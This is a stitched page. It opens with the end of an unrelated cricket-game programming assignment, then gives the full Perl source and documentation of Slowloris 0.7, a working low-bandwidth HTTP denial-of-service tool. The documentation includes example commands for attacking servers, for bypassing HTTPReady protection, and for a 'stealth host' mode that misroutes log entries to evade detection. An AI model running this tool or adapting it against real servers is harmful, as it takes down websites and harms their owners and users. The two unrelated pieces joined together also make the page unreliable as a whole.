store information such as team A and team B details, players per team, maximum deliveries allowed in each innings, names of all the 11 given players, and a variable to check which innings is going on. e. Additionally, in the Game class, declare two pointers of type class Team to point to the batting team and bowling team in each innings and two pointers of type class Player to point to the current batsman and the bowler. 2. Welcome users and show a few basic game instructions. 3. Display all the 11 players with the array index so that the user can select the players using that index for each team. 4. Select 4 players for each team one by one in an alternative way. a. Write a utility function to take only integer user input. b. Write a validation function to allow a player to be added to a team only once. 5. Display selected players from each team. 6. Add toss functionality. a. Allow the toss winning team to choose either to bat or bowl first. b. Initialize the batting team and the bowling team. 7. Start the first innings. a. Initialize the batsman and the bowler. 8. Start playing the first innings. a. After each delivery, update batsman score, bowler score, and both teams score. b. If in a delivery runs scored is 0 then the batsman will be OUT and the next player in sequence from the batting team will start batting. c. If in a delivery runs scored is 1 to 6, just update data and continue the innings. d. After each delivery, validate the innings score to check if the innings is over. 9. After each delivery, show the game scorecard. 10. When the first innings ends, start the second innings. a. Initialize the batting team and the bowling team. b. Initialize the batsman and the bowler. 11. Start playing the second innings. a. Reuse the same code written to play first innings. b. After each delivery, validate both innings’ scores to decide the winner. 12. Display match summary in the end. Additional Points 1. Use escape characters such as ‘\t’, ‘\n’ wherever needed to keep program output clean. 2. Use usleep() function as applicable along with user-friendly messages.
LRAQI70 / Slowloris#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc::: CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc:: CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc:::: CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } use Data::Dumper; warn Dumper \$host; unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake <h@ckers.org> with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: ./slowloris.pl -dns www.example.com -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
